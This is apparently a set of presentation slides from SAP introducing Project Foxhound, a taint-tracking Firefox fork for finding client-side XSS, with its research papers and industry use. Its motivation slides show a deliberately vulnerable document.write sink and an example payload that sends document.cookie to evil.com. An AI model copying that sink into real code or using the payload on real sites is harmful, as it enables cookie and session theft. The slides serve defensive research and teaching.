
Dr. Thomas Barber, SAP
Product Security Expert
Lead Maintainer of Project Foxhound

Protecting Web Applications 
with Project “Foxhound”



Motivation

<script>
  let hash = location.hash;

  if (hash.length > 1) {
    let decodedHash = decodeURIComponent(hash.substring(1));

    let message = "Hello <b>" + decodedHash + "</b>!!";
    
    document.write(message);
  }
</script>
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https://www.example.com/start#alice

<html>
Hello <b>alice</b>
</html>

Web Browser

Alice’s Cookies

JavaScript 
Execution

Page 
Rendering

User



Client-Side XSS

<script>
  let hash = location.hash;

  if (hash.length > 1) {
    let decodedHash = decodeURIComponent(hash.substring(1));

    let message = "Hello <b>" + decodedHash + "</b>!!";
    
    document.write(message);
  }
</script>

Source

Sink
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Web Browser

https://www.example.com/start#<script>...</script>

Attacker

<html>
<h1>Piggy Bank</h1>
Hello <b><script>

fetch(http://evil.com/?p=
+ document.cookie);

</script></b>
</html>

Alice’s Cookies

XSS caused by insecure dataflows from source → sink

http://evil.com/?p=


25 Million Papers Later…
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Dynamic Tainting for XSS
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Project Foxhound
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• Instrumented fork of Firefox Browser
• Dynamic tainting engine for client-side web applications
• Collaboratively maintained by SAP and TU-Braunschweig

• Features
• Playwright Browser Automation Alignment

• Seamless integration with Playwright API

• Detailed data-flow information available
• Function calls, operations, line numbers

• Flexible
• Configurable sources and sinks, open source

https://github.com/SAP/project-foxhound

Goal: reduce the burden for client-side web security studies

https://github.com/SAP/project-foxhound


Recent Papers

Using Foxhound
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Crawling 
Engine

Foxhound 
Browser

Analysis

Playwright API Dataflow

+ configuration

• Web page navigation
• Link extraction
• Page interactions

Cookie Banners (ACSAC 2022)
Login (S&P 2024)
Crawling strategy (ISC 2023)

• Data flow analysis
• Vulnerability detection
• Validation

Hand Sanitizers (EuroS&P 2022)
Blind XSS (USENIX 2024)

Request Hijacking (S&P 2024)
Browser Fingerprinting (PETS 2024)

https://www.ias.cs.tu-bs.de/publications/accept_all_exploits.pdf
https://www.computer.org/csdl/proceedings-article/sp/2024/313000a094/1Ub232sRVao
https://link.springer.com/chapter/10.1007/978-3-031-49187-0_9
https://www.ias.cs.tu-bs.de/publications/hand_sanitizer.pdf
https://www.ias.cs.tu-bs.de/publications/bxss.pdf
https://www.computer.org/csdl/proceedings-article/sp/2024/313000a098/1Ub235Sl54s
https://www.ias.tu-bs.de/publications/fp-tracer-pets-2024.pdf


Get Involved!
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• Security Researchers
• Cite the paper and let us know!

• Open a pull request with any modifications

• Industry
• FioriDAST success story at SAP (2024 CSO award)

• Scans 600 enterprise web applications per day

• Security Tools
• Foxhound integration to enhance tool performance

• Via dedicated plugins (e.g. ZAP)

• Education
• Teaching web security via Foxhound

• Visual detection of XSS in real-time

https://www.csoonline.com/article/3541180/sap-se-revamps-application-security-scanning-using-simulation-and-automation-2.html
https://event.foundryco.com/cso-conference-awards/


• Find out more
• GitHub (https://github.com/SAP/project-foxhound)

• Binaries (https://foxhound.ias.tu-bs.de/)

• Papers (https://github.com/SAP/project-foxhound/wiki/Publications)

• “The Open Source Way” SAP Podcast (https://podcast.opensap.info/open-source-way/)

https://github.com/SAP/project-foxhound
https://foxhound.ias.tu-bs.de/
https://github.com/SAP/project-foxhound/wiki/Publications
https://podcast.opensap.info/open-source-way/
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